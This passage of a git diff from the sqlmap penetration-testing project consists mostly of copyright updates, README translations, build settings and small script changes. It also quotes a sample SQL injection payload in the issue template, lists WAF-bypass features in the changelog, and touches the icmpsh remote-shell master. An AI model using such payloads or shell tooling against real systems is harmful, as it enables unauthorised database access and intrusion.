diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index 31b389e6070..2ae80685613 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: * Each patch should make one logical change. -* Wrap code to 76 columns when possible. * Avoid tabbing, use four blank spaces instead. * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md index 062912bd61c..cf4ea5111ad 100644 --- a/.github/ISSUE_TEMPLATE.md +++ b/.github/ISSUE_TEMPLATE.md @@ -19,7 +19,7 @@ * Client OS (e.g. `Microsoft Windows 10`) * Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): * Target DBMS (e.g. `Microsoft SQL Server`): -* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`): +* Detected WAF/IPS protection (e.g. `ModSecurity` or `unknown`): * SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`): * Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works): * Relevant console output (if any): diff --git a/.travis.yml b/.travis.yml index 7bfe0cef721..192acbf7516 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,4 +1,7 @@ language: python +sudo: false +git: + depth: 1 python: - "2.6" - "2.7" diff --git a/LICENSE b/LICENSE index 5fa92b72813..da63e45d6bb 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/README.md b/README.md index b125d1561cc..ad48e852818 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,10 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. -**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).** +**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).** Screenshots ---- @@ -64,5 +64,7 @@ Translations * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) +* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1e3284055da..88bbcf56e19 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -3,7 +3,7 @@ * Implemented support for automatic decoding of page content through detected charset. * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Major improvements to program stabilization based on user reports. -* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms. +* Added new tampering scripts avoiding popular WAF/IPS mechanisms. * Fixed major bug with DNS leaking in Tor mode. * Added wordlist compilation made of the most popular cracking dictionaries. * Implemented multi-processor hash cracking routine(s). @@ -23,7 +23,7 @@ * Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--smart` for conducting through tests only in case of positive heuristic(s). -* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection. +* Added switch `--check-waf` for checking of existence of WAF/IPS protection. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables. * Major improvements to switches `--tables` and `--columns`. @@ -55,7 +55,7 @@ * Added option `--host` to set the HTTP Host header value. * Added switch `--hostname` to turn on retrieval of DBMS server hostname. * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. -* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection. +* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection. * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). * Added switch `--invalid-bignum` for usage of big numbers while invalidating values. * Added switch `--invalid-logical` for usage of logical operations while invalidating values. @@ -78,7 +78,7 @@ * Added option `--skip` to skip testing of given parameter(s). * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. * Added switch `--skip-urlencode` to skip URL encoding of payload data. -* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection. +* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection. * Added switch `--smart` to conduct thorough tests only if positive heuristic(s). * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. diff --git a/doc/THANKS.md b/doc/THANKS.md index 6e9f85819ef..e9eb7456d55 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -565,6 +565,9 @@ Efrain Torres, * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework +Jennifer Torres, +* for contributing a tamper script luanginx.py + Sandro Tosi, * for helping to create sqlmap Debian package correctly @@ -597,6 +600,7 @@ Carlos Gabriel Vergara, Patrick Webster, * for suggesting an enhancement +* for donating to sqlmap development (from OSI.Security) Ed Williams, * for suggesting a minor enhancement diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RUS.md new file mode 100644 index 00000000000..4e46b296025 --- /dev/null +++ b/doc/translations/README-ru-RUS.md @@ -0,0 +1,50 @@ +# sqlmap + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. + +Скриншоты +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki. + +Установка +---- + +Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе. + +Использование +---- + +Чтобы получить список основных опций и вариантов выбора, используйте: + + python sqlmap.py -h + +Чтобы получить список всех опций и вариантов выбора, используйте: + + python sqlmap.py -hh + +Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601). +Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Ссылки +---- + +* Основной сайт: http://sqlmap.org +* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues +* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki +* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md new file mode 100644 index 00000000000..ddbedef9fe7 --- /dev/null +++ b/doc/translations/README-uk-UA.md @@ -0,0 +1,50 @@ +# sqlmap + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. + +Скриншоти +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki. + +Встановлення +---- + +Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6.x** та **2.7.x** на будь-якій платформі. + +Використання +---- + +Щоб отримати список основних опцій і перемикачів, використовуйте: + + python sqlmap.py -h + +Щоб отримати список всіх опцій і перемикачів, використовуйте: + + python sqlmap.py -hh + +Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601). +Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Посилання +---- + +* Основний сайт: http://sqlmap.org +* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues +* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki +* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/__init__.py b/extra/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 521ef2bf1cb..2379222dcb8 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index cc95e5a992f..79d42dba03b 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 9a27a60b4a2..fa65d448bb7 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index 6e96952b3d6..00fbd8801ee 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -80,7 +80,7 @@ def main(src, dst): cmd = '' # Wait for incoming replies - if sock in select.select([ sock ], [], [])[0]: + if sock in select.select([sock], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): @@ -125,8 +125,12 @@ def main(src, dst): # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) - # Send it to the target host - sock.sendto(ip.get_packet(), (dst, 0)) + try: + # Send it to the target host + sock.sendto(ip.get_packet(), (dst, 0)) + except socket.error, ex: + sys.stderr.write("'%s'\n" % ex) + sys.stderr.flush() if __name__ == '__main__': if len(sys.argv) < 3: diff --git a/extra/mssqlsig/update.py b/extra/mssqlsig/update.py deleted file mode 100644 index 5e0addab12b..00000000000 --- a/extra/mssqlsig/update.py +++ /dev/null @@ -1,137 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import codecs -import os -import re -import urllib2 -import urlparse - -from xml.dom.minidom import Document - -# Path to the XML file with signatures -MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml") - -# Url to update Microsoft SQL Server XML versions file from -MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" - -def updateMSSQLXML(): - if not os.path.exists(MSSQL_XML): - errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML - print errMsg - return - - infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL - print infoMsg - - try: - req = urllib2.Request(MSSQL_VERSIONS_URL) - f = urllib2.urlopen(req) - mssqlVersionsHtmlString = f.read() - f.close() - except urllib2.URLError: - __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) - __mssqlHostname = __mssqlPath[1] - - warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname - warnMsg += " check your Internet connection and retry" - print warnMsg - - return - - releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I) - releasesCount = len(releases) - - # Create the minidom document - doc = Document() - - # Create the base element - root = doc.createElement("root") - doc.appendChild(root) - - for index in xrange(0, releasesCount): - release = releases[index] - - # Skip Microsoft SQL Server 6.5 because the HTML - # table is in another format - if release == "6.5": - continue - - # Create the base element - signatures = doc.createElement("signatures") - signatures.setAttribute("release", release) - root.appendChild(signatures) - - startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index]) - - if index == releasesCount - 1: - stopIdx = len(mssqlVersionsHtmlString) - else: - stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) - - mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] - servicepackVersion = re.findall("(7\.0|2000|2005|2008|2008 R2)*(.*?)[\r]*\n", mssqlVersionsReleaseString, re.I) - - for servicePack, version in servicepackVersion: - if servicePack.startswith(" "): - servicePack = servicePack[1:] - if "/" in servicePack: - servicePack = servicePack[:servicePack.index("/")] - if "(" in servicePack: - servicePack = servicePack[:servicePack.index("(")] - if "-" in servicePack: - servicePack = servicePack[:servicePack.index("-")] - if "*" in servicePack: - servicePack = servicePack[:servicePack.index("*")] - if servicePack.startswith("+"): - servicePack = "0%s" % servicePack - - servicePack = servicePack.replace("\t", " ") - servicePack = servicePack.replace("No SP", "0") - servicePack = servicePack.replace("RTM", "0") - servicePack = servicePack.replace("TM", "0") - servicePack = servicePack.replace("SP", "") - servicePack = servicePack.replace("Service Pack", "") - servicePack = servicePack.replace(" element - signature = doc.createElement("signature") - signatures.appendChild(signature) - - # Create a element - versionElement = doc.createElement("version") - signature.appendChild(versionElement) - - # Give the elemenet some text - versionText = doc.createTextNode(version) - versionElement.appendChild(versionText) - - # Create a element - servicepackElement = doc.createElement("servicepack") - signature.appendChild(servicepackElement) - - # Give the elemenet some text - servicepackText = doc.createTextNode(servicePack) - servicepackElement.appendChild(servicepackText) - - # Save our newly created XML to the signatures file - mssqlXml = codecs.open(MSSQL_XML, "w", "utf8") - doc.writexml(writer=mssqlXml, addindent=" ", newl="\n") - mssqlXml.close() - - infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML - print infoMsg - -if __name__ == "__main__": - updateMSSQLXML() diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/extra/safe2bin/__init__.py +++ b/extra/safe2bin/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index 19c9784a992..c426c124be5 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -3,7 +3,7 @@ """ safe2bin.py - Simple safe(hex) to binary format converter -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 1795299b3de..e56c96cbe5d 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py new file mode 100644 index 00000000000..c506e5f4808 --- /dev/null +++ b/extra/shutils/newlines.py @@ -0,0 +1,30 @@ +#! /usr/bin/env python + +# Runs pylint on all python scripts found in a directory tree +# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html + +import os +import sys + +def check(filepath): + if filepath.endswith(".py"): + content = open(filepath, "rb").read() + + if "\n\n\n" in content: + index = content.find("\n\n\n") + print filepath, repr(content[index - 30:index + 30]) + +if __name__ == "__main__": + try: + BASE_DIRECTORY = sys.argv[1] + except IndexError: + print "no directory specified, defaulting to current working directory" + BASE_DIRECTORY = os.getcwd() + + print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY + for root, dirs, files in os.walk(BASE_DIRECTORY): + if any(_ in root for _ in ("extra", "thirdparty")): + continue + for name in files: + filepath = os.path.join(root, name) + check(filepath) diff --git a/extra/shutils/pep8.sh b/extra/shutils/pep8.sh deleted file mode 100755 index 5c15f54916d..00000000000 --- a/extra/shutils/pep8.sh +++ /dev/null @@ -1,7 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -# Runs pep8 on all python files (prerequisite: apt-get install pep8) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \; diff --git a/extra/shutils/postcommit-hook.sh b/extra/shutils/postcommit-hook.sh index 77ed2824c80..eb3db6c4e0e 100755 --- a/extra/shutils/postcommit-hook.sh +++ b/extra/shutils/postcommit-hook.sh @@ -1,5 +1,15 @@ #!/bin/bash +: ' +cat > .git/hooks/post-commit << EOF +#!/bin/bash + +source ./extra/shutils/postcommit-hook.sh +EOF + +chmod +x .git/hooks/post-commit +' + SETTINGS="../../lib/core/settings.py" declare -x SCRIPTPATH="${0}" diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index c859236db51..5a9fea4246a 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -1,5 +1,15 @@ #!/bin/bash +: ' +cat > .git/hooks/pre-commit << EOF +#!/bin/bash + +source ./extra/shutils/precommit-hook.sh +EOF + +chmod +x .git/hooks/pre-commit +' + PROJECT="../../" SETTINGS="../../lib/core/settings.py" CHECKSUM="../../txt/checksum.md5" @@ -12,21 +22,21 @@ CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 -# if [ -f $SETTINGS_FULLPATH ] -# then -# LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') -# declare -a LINE -# INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") -# if [ -n "$INCREMENTED" ] -# then -# sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH -# echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" -# else -# echo "Something went wrong in VERSION increment" -# exit 1 -# fi -# git add "$SETTINGS_FULLPATH" -# fi +if [ -f $SETTINGS_FULLPATH ] +then + LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') + declare -a LINE + INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") + if [ -n "$INCREMENTED" ] + then + sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH + echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" + else + echo "Something went wrong in VERSION increment" + exit 1 + fi + git add "$SETTINGS_FULLPATH" +fi truncate -s 0 "$CHECKSUM_FULLPATH" cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh new file mode 100755 index 00000000000..53acf30f9a2 --- /dev/null +++ b/extra/shutils/pycodestyle.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission + +# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \; diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index dc82acbeb55..c6aa06d0bcf 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -25,10 +25,11 @@ from setuptools import setup, find_packages setup( name='sqlmap', version='$VERSION', - description="Automatic SQL injection and database takeover tool", + description='Automatic SQL injection and database takeover tool', + long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.', author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', - url='https://sqlmap.org', + url='http://sqlmap.org', download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', packages=find_packages(), @@ -60,7 +61,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py index 6ff94d15621..9a8ecde597b 100755 --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 